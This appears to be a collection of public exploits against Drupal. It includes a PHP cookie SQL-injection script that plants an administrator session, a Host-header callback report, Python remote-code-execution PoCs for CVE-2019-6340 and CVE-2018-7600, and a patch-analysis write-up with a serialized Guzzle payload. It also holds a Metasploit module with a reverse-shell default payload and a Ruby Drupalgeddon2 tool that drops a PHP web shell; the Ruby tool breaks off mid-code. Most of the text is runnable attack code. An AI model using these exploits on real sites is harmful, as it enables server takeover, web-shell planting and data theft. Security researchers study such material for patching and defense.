$user_name = 'admin';

$url = isset($argv[1])?$argv[1]:'';
$user_id = isset($argv[2])?intval($argv[2]):1;

if ($url == '-h') {
      echo "usage:\n";
      echo $argv[0].' $url [$user_id]'."\n";
      die();
}

if (empty($url) || strpos($url,'https') === False) {
      echo "please state the cookie url. It works only with https urls.\n";
      die();
}

if (strpos($url, 'www.') === 0) {
      $url = substr($url, 4);
}

$url = rtrim($url,'/');

list( , $session_name) = explode('://', $url, 2);

// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');

$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();

$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,null -- ";

$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;

// send the request to the server
$ch = curl_init($url);

curl_setopt($ch,CURLOPT_HEADER,True);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');

curl_setopt($ch,CURLOPT_HTTPHEADER,array(
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Accept-Language: en-US,en;q=0.5'
));

curl_setopt($ch,CURLOPT_COOKIE,$cookie);

$output = curl_exec($ch);

curl_close($ch);

echo "Session with this ID created:\n";
echo "S".$cookieName.": ".$sec_ssid;
            
## Title: drupal-10.1.2 web-cache-poisoning-External-service-interaction
## Author: nu11secur1ty
## Date: 08/30/2023
## Vendor: https://www.drupal.org/
## Software: https://www.drupal.org/download
## Reference: https://portswigger.net/kb/issues/00300210_external-service-interaction-http

## Description:
It is possible to induce the application to perform server-side HTTP
requests to arbitrary domains.
The payload d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com was
submitted in the HTTP Host header.
The application performed an HTTP request to the specified domain. For
the second test, the attacker stored a response
on the server with malicious content. This can be bad for a lot of
users of this system if the attacker spreads a malicious URL
and sends it by email etc. By using a redirect exploit.

STATUS: HIGH-Vulnerability

[+]Exploit:
```GET
GET /drupal/web/?psp4hw87ev=1 HTTP/1.1
Host: d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com
Accept-Encoding: gzip, deflate, psp4hw87ev
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7,
text/psp4hw87ev
Accept-Language: en-US,psp4hw87ev;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111
Safari/537.36 psp4hw87ev
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Origin: https://psp4hw87ev.pwnedhost.com
```
[+]Response from Burpcollaborator server:
```HTTP
HTTP/1.1 200 OK
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Content-Type: text/html
Content-Length: 62

<html><body>zeq5zcbz3x69x9a63ubxidzjlgigmmgifigz</body></html>
```

[+]Response from Attacker server
```HTTP
192.168.100.45 - - [30/Aug/2023 05:52:56] "GET
/drupal/web/rss.xml?psp4hw87ev=1 HTTP/1.1"
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/DRUPAL/2013/drupal-10.1.2)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/08/drupal-1012-web-cache-poisoning.html)

## Time spend:
03:35:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
            
#!/usr/bin/env python3

# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza

# Technical details for this exploit is available at:
#   https://www.drupal.org/sa-core-2019-003
#   https://www.ambionics.io/blog/drupal8-rce
#   https://twitter.com/jcran/status/1099206271901798400

# Sample usage:
#
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
#  by @leonjza
#
# References:
#  https://www.drupal.org/sa-core-2019-003
#  https://www.ambionics.io/blog/drupal8-rce
#
# [warning] Caching heavily affects reliability of this exploit.
# Nodes are used as they are discovered, but once they are done,
# you will have to wait for cache expiry.
#
# Targeting http://127.0.0.1/...
# [+] Finding a usable node id...
# [x] Node enum found a cached article at: 2, skipping
# [x] Node enum found a cached article at: 3, skipping
# [+] Using node_id 4
# [+] Target appears to be vulnerable!
#
# USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
# root        49  0.0  0.0   4288   716 pts/0    Ss+  16:38   0:00 sh
# root         1  0.0  1.4 390040 30540 ?        Ss   15:20   0:00 apache2 -DFOREGROUND
# www-data    24  0.1  2.8 395652 57912 ?        S    15:20   0:08 apache2 -DFOREGROUND
# www-data    27  0.1  2.9 396152 61108 ?        S    15:20   0:08 apache2 -DFOREGROUND
# www-data    31  0.0  3.4 406304 70408 ?        S    15:22   0:04 apache2 -DFOREGROUND
# www-data    39  0.0  2.7 398472 56852 ?        S    16:14   0:02 apache2 -DFOREGROUND
# www-data    44  0.2  3.2 402208 66080 ?        S    16:37   0:05 apache2 -DFOREGROUND
# www-data    56  0.0  2.6 397988 55060 ?        S    16:38   0:01 apache2 -DFOREGROUND
# www-data    65  0.0  2.3 394252 48460 ?        S    16:40   0:01 apache2 -DFOREGROUND
# www-data    78  0.0  2.5 400996 51320 ?        S    16:47   0:01 apache2 -DFOREGROUND
# www-data   117  0.0  0.0   4288   712 ?        S    17:20   0:00  \_ sh -c echo

import sys
from urllib.parse import urlparse, urljoin

import requests


def build_url(*args) -> str:
    """
        Builds a URL
    """

    f = ''
    for x in args:
        f = urljoin(f, x)

    return f


def uri_valid(x: str) -> bool:
    """
        https://stackoverflow.com/a/38020041
    """

    result = urlparse(x)
    return all([result.scheme, result.netloc, result.path])


def check_drupal_cache(r: requests.Response) -> bool:
    """
        Check if a response had the cache header.
    """

    if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
        return True

    return False


def find_article(base: str, f: int = 1, l: int = 100):
    """
        Find a target article that does not 404 and is not cached
    """

    while f < l:
        u = build_url(base, '/node/', str(f))
        r = requests.get(u)

        if check_drupal_cache(r):
            print(f'[x] Node enum found a cached article at: {f}, skipping')
            f += 1
            continue

        # found an article?
        if r.status_code == 200:
            return f
        f += 1


def check(base: str, node_id: int) -> bool:
    """
        Check if the target is vulnerable.
    """

    payload = {
        "_links": {
            "type": {
                "href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
            }
        },
        "type": {
            "target_id": "article"
        },
        "title": {
            "value": "My Article"
        },
        "body": {
            "value": ""
        }
    }

    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

    if check_drupal_cache(r):
        print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
        return False

    if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
        return True

    return False


def exploit(base: str, node_id: int, cmd: str):
    """
        Exploit using the Guzzle Gadgets
    """

    # pad a easy search replace output:
    cmd = 'echo ---- & ' + cmd
    payload = {
        "link": [
            {
                "value": "link",
                "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
                           "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
                           "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
                           "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
                           "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
                           "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
                           "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
                           "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
                           "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
            }
        ],
        "_links": {
            "type": {
                "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
            }
        }
    }

    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

    if check_drupal_cache(r):
        print(f'Exploiting {node_id} returned cache HIT, may have failed')

    if '----' not in r.text:
        print('[warn] Command execution _may_ have failed')

    print(r.text.split('----')[1])


def main(base: str, cmd: str):
    """
        Execute an OS command!
    """

    print('[+] Finding a usable node id...')
    article = find_article(base)
    if not article:
        print('[!] Unable to find a node ID to reference. Check manually?')
        return

    print(f'[+] Using node_id {article}')

    vuln = check(base, article)
    if not vuln:
        print('[!] Target does not appear to be vulnerable.')
        print('[!] It may also simply be a caching issue, so maybe just try again later.')
        return
    print(f'[+] Target appears to be vulnerable!')

    exploit(base, article, cmd)


if __name__ == '__main__':

    print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
    print(' by @leonjza\n')
    print('References:\n'
          ' https://www.drupal.org/sa-core-2019-003\n'
          ' https://www.ambionics.io/blog/drupal8-rce\n')
    print('[warning] Caching heavily affects reliability of this exploit.\n'
          'Nodes are used as they are discovered, but once they are done,\n'
          'you will have to wait for cache expiry.\n')

    if len(sys.argv) <= 2:
        print(f'Usage: {sys.argv[0]} <target base URL> <command>')
        print(f'    Example: {sys.argv[0]} http://127.0.0.1/ id')

    target = sys.argv[1]
    command = sys.argv[2]
    if not uri_valid(target):
        print(f'Target {target} is not a valid URL')
        sys.exit(1)

    print(f'Targeting {target}...')
    main(target, command)
            
Analyzing the patch
By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);.

As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link.

Triggering the unserialize()
Having all these elements in mind, triggering an unserialize is fairly easy:

GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
  "link": [
    {
      "value": "link",
      "options": "<SERIALIZED_CONTENT>"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}
Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC:

$ ./phpggc guzzle/rce1 system id --json
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
We can now send the payload via GET:

GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}
To which Drupal responds:

HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012

{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID.
            
#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::HttpClient
  
    def initialize(info={})
      super(update_info(info,
        'Name'           => 'Drupalgeddon2',
        'Description'    => %q{
          CVE-2018-7600 / SA-CORE-2018-002
          Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1
          allows remote attackers to execute arbitrary code because of an issue affecting
          multiple subsystems with default or common module configurations.

          The module can load msf PHP arch payloads, using the php/base64 encoder.

          The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'Vitalii Rudnykh',      # initial PoC
            'Hans Topo',            # further research and ruby port
            'José Ignacio Rojo'     # further research and msf module
          ],
        'References'     =>
          [
            ['SA-CORE', '2018-002'],
            ['CVE', '2018-7600'],
          ],
        'DefaultOptions'  =>
        {
          'encoder' => 'php/base64',
          'payload' => 'php/meterpreter/reverse_tcp',
        },
        'Privileged'     => false,
        'Platform'       => ['php'],
        'Arch'           => [ARCH_PHP],
        'Targets'        =>
          [
            ['User register form with exec', {}],
          ],
        'DisclosureDate' => 'Apr 15 2018',
        'DefaultTarget'  => 0
      ))
  
      register_options(
        [
          OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),
        ])
  
      register_advanced_options(
        [

        ])
    end
  
    def uri_path
      normalize_uri(target_uri.path)
    end

    def exploit_user_register
      data = Rex::MIME::Message.new
      data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')
      data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"')
      data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"')
      data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"')
      data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"')
      post_data = data.to_s

      # /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
      send_request_cgi({
        'method'   => 'POST',
        'uri'      => "#{uri_path}user/register",
        'ctype'    => "multipart/form-data; boundary=#{data.bound}",
        'data'     => post_data,
        'vars_get' => {
          'element_parents' => 'account/mail/#value',
          'ajax_form'       => '1',
          '_wrapper_format' => 'drupal_ajax',
        }
      })
    end
  
    ##
    # Main
    ##
  
    def exploit
      case datastore['TARGET']
      when 0
        exploit_user_register
      else
        fail_with(Failure::BadConfig, "Invalid target selected.")
      end
    end
  end
            
#!/usr/bin/env ruby
#
# [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k   ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
#


require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'
require 'highline/import'


# Settings - Try to write a PHP to the web root?
try_phpshell = true
# Settings - General/Stealth
$useragent = "drupalgeddon2"
webshell = "shell.php"
# Settings - Proxy information (nil to disable)
$proxy_addr = nil
$proxy_port = 8080


# Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!)
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Function http_request <url> [type] [data]
def http_request(url, type="get", payload="", cookie="")
  puts verbose("HTTP - URL : #{url}") if $verbose
  puts verbose("HTTP - Type: #{type}") if $verbose
  puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose

  begin
    uri = URI(url)
    request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri)
    request.initialize_http_header({"User-Agent" => $useragent})
    request.initialize_http_header("Cookie" => cookie) if not cookie.empty?
    request.body = payload if not payload.empty?
    return $http.request(request)
  rescue SocketError
    puts error("Network connectivity issue")
  rescue Errno::ECONNREFUSED => e
    puts error("The target is down ~ #{e.message}")
    puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr
  rescue Timeout::Error => e
    puts error("The target timed out ~ #{e.message}")
  end

  # If we got here, something went wrong.
  exit
end


# Function gen_evil_url <cmd> [method] [shell] [phpfunction]
def gen_evil_url(evil, element="", shell=false, phpfunction="passthru")
  puts info("Payload: #{evil}") if not shell
  puts verbose("Element    : #{element}") if not shell and not element.empty? and $verbose
  puts verbose("PHP fn     : #{phpfunction}") if not shell and $verbose

  # Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render
  # Check the version to match the payload
  if $drupalverion.start_with?("8") and element == "mail"
    # Method #1 - Drupal v8.x: mail, #post_render - HTTP 200
    url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil

  elsif $drupalverion.start_with?("8") and element == "timezone"
    # Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru
    url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil

    #puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru"

  elsif $drupalverion.start_with?("7") and element == "name"
    # Method #3 - Drupal v7.x: name, #post_render - HTTP 200
    url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil
    payload = "form_id=user_pass&_triggering_element_name=name"
  end

  # Drupal v7.x needs an extra value from a form
  if $drupalverion.start_with?("7")
    response = http_request(url, "post", payload, $session_cookie)

    form_name = "form_build_id"
    puts verbose("Form name  : #{form_name}") if $verbose

    form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip
    puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty?
    puts verbose("Form value : #{form_value}") if $verbose

    url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value
    payload = "#{form_name}=#{form_value}"
  end

  return url, payload
end


# Function clean_result <input>
def clean_result(input)
  #result = JSON.pretty_generate(JSON[response.body])
  #result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean
  clean = input.to_s.strip

  # PHP function: passthru
  # For: <payload>[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
  clean.slice!(/\[{"command":".*}\]$/)

  # PHP function: exec
  # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"<payload>\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
  #clean.slice!(/\[{"command":".*data":"/)
  #clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/)

  # Newer PHP for an older Drupal
  # For: <b>Deprecated</b>:  assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
  #clean.slice!(/<b>.*<br \/>/)

  # Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500
  # For: <b>Deprecated</b>:  assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
  clean.slice!(/The website encountered an unexpected error.*/)

  return clean
end


# Feedback when something goes right
def success(text)
  # Green
  return "\e[#{32}m[+]\e[0m #{text}"
end

# Feedback when something goes wrong
def error(text)
  # Red
  return "\e[#{31}m[-]\e[0m #{text}"
end

# Feedback when something may have issues
def warning(text)
  # Yellow
  return "\e[#{33}m[!]\e[0m #{text}"
end

# Feedback when something doing something
def action(text)
  # Blue
  return "\e[#{34}m[*]\e[0m #{text}"
end

# Feedback with helpful information
def info(text)
  # Light blue
  return "\e[#{94}m[i]\e[0m #{text}"
end

# Feedback for the overkill
def verbose(text)
  # Dark grey
  return "\e[#{90}m[v]\e[0m #{text}"
end


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

def init_authentication()
  $uname = ask('Enter your username:  ') { |q| q.echo = false }
  $passwd = ask('Enter your password:  ') { |q| q.echo = false }
  $uname_field = ask('Enter the name of the username form field:  ') { |q| q.echo = true }
  $passwd_field = ask('Enter the name of the password form field:  ') { |q| q.echo = true }
  $login_path = ask('Enter your login path (e.g., user/login):  ') { |q| q.echo = true }
  $creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...):  ') { |q| q.echo = true }
end

def is_arg(args, param)
  args.each do |arg|
    if arg == param
      return true
    end
  end
  return false
end


# Quick how to use
def usage()
  puts 'Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]'
  puts 'Example for target that does not require authentication:'
  puts '       ruby drupalgeddon2.rb https://example.com'
  puts 'Example for target that does require authentication:'
  puts '       ruby drupalgeddon2.rb https://example.com --authentication'
end


# Read in values
if ARGV.empty?
  usage()
  exit
end

$target = ARGV[0]
init_authentication() if is_arg(ARGV, '--authentication')
$verbose = is_arg(ARGV, '--verbose')


# Check input for protocol
$target = "http://#{$target}" if not $target.start_with?("http")
# Check input for the end
$target += "/" if not $target.end_with?("/")


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Banner
puts action("--==[::#Drupalggedon2::]==--")
puts "-"*80
puts info("Target : #{$target}")
puts info("Proxy  : #{$proxy_addr}:#{$proxy_port}") if $proxy_addr
puts info("Write? : Skipping writing PHP web shell") if not try_phpshell
puts "-"*80


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Setup connection
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port)

# Use SSL/TLS if needed
if uri.scheme == "https"
  $http.use_ssl = true
  $http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end

$session_cookie = ''
# If authentication required then login and get session cookie
if $uname
  $payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix
  response = http_request($target + $login_path, 'post', $payload, $session_cookie)
  if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie']
    $session_cookie = response['set-cookie'].split('; ')[0]
    puts success("Logged in - Session Cookie : #{$session_cookie}")
  end

end

# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Try and get version
$drupalverion = ""

# Possible URLs
url = [
  # --- changelog ---
  # Drupal v6.x / v7.x [200]
  $target + "CHANGELOG.txt",
  # Drupal v8.x [200]
  $target + "core/CHANGELOG.txt",

  # --- bootstrap ---
  # Drupal v7.x / v6.x [403]
  $target + "includes/bootstrap.inc",
  # Drupal v8.x [403]
  $target + "core/includes/bootstrap.inc",

  # --- database ---
  # Drupal v7.x / v6.x  [403]
  $target + "includes/database.inc",
  # Drupal v7.x [403]
  #$target + "includes/database/database.inc",
  # Drupal v8.x [403]
  #$target + "core/includes/database.inc",

  # --- landing page ---
  # Drupal v8.x / v7.x [200]
  $target,
]

# Check all
url.each do|uri|
  # Check response
  response = http_request(uri, 'get', '', $session_cookie)

  # Check header
  if response['X-Generator'] and $drupalverion.empty?
    header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip

    if not header.empty?
      $drupalverion = "#{header}.x" if $drupalverion.empty?
      puts success("Header : v#{header} [X-Generator]")
      puts verbose("X-Generator: #{response['X-Generator']}") if $verbose
    end
  end

  # Check request response, valid
  if response.code == "200"
    tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
    puts success("Found  : #{uri}    (HTTP Response: #{response.code})#{tmp}")

    # Check to see if it says: The requested URL "http://<URL>" was not found on this server.
    puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server"

    # Check to see if it says: <h1 class="js-quickedit-page-title title page-title">Page not found</h1> <div class="content">The requested page could not be found.</div>
    puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found"

    # Only works for CHANGELOG.txt
    if uri.match(/CHANGELOG.txt/)
      # Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x
      puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org"

      # Patched already? (For Drupal v8.4.x / v7.x)
      puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002"

      # Try and get version from the file contents (For Drupal v8.4.x / v7.x)
      $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip

      # Blank if not valid
      $drupalverion = "" if not $drupalverion[-1] =~ /\d/
    end

    # Check meta tag
    if not response.body.empty?
      # For Drupal v8.x / v7.x
      meta = response.body.match(/<meta name="Generator" content="Drupal (.*) /)
      metatag = meta.to_s.slice(/meta name="Generator" content="Drupal (.*) \(http/, 1).to_s.strip

      if not metatag.empty?
        $drupalverion = "#{metatag}.x" if $drupalverion.empty?
        puts success("Metatag: v#{$drupalverion} [Generator]")
        puts verbose(meta.to_s) if $verbose
      end
    end

    # Done! ...if a full known version, else keep going... may get lucky later!
    break if not $drupalverion.end_with?("x") and not $drupalverion.empty?
  end

  # Check request response, not allowed
  if response.code == "403" and $drupalverion.empty?
    tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
    puts success("Found  : #{uri}    (HTTP Response: #{response.code})#{tmp}")

    if $drupalverion.empty?
      # Try and get version from the URL (For Drupal v.7.x/v6.x)
      $drupalverion = uri.match(/includes\/database.inc/)? "7.x/6.x" : "" if $drupalverion.empty?
      # Try and get version from the URL (For Drupal v8.x)
      $drupalverion = uri.match(/core/)? "8.x" : "" if $drupalverion.empty?

      # If we got something, show it!
      puts success("URL    : v#{$drupalverion}?") if not $drupalverion.empty?
    end

  else
    tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
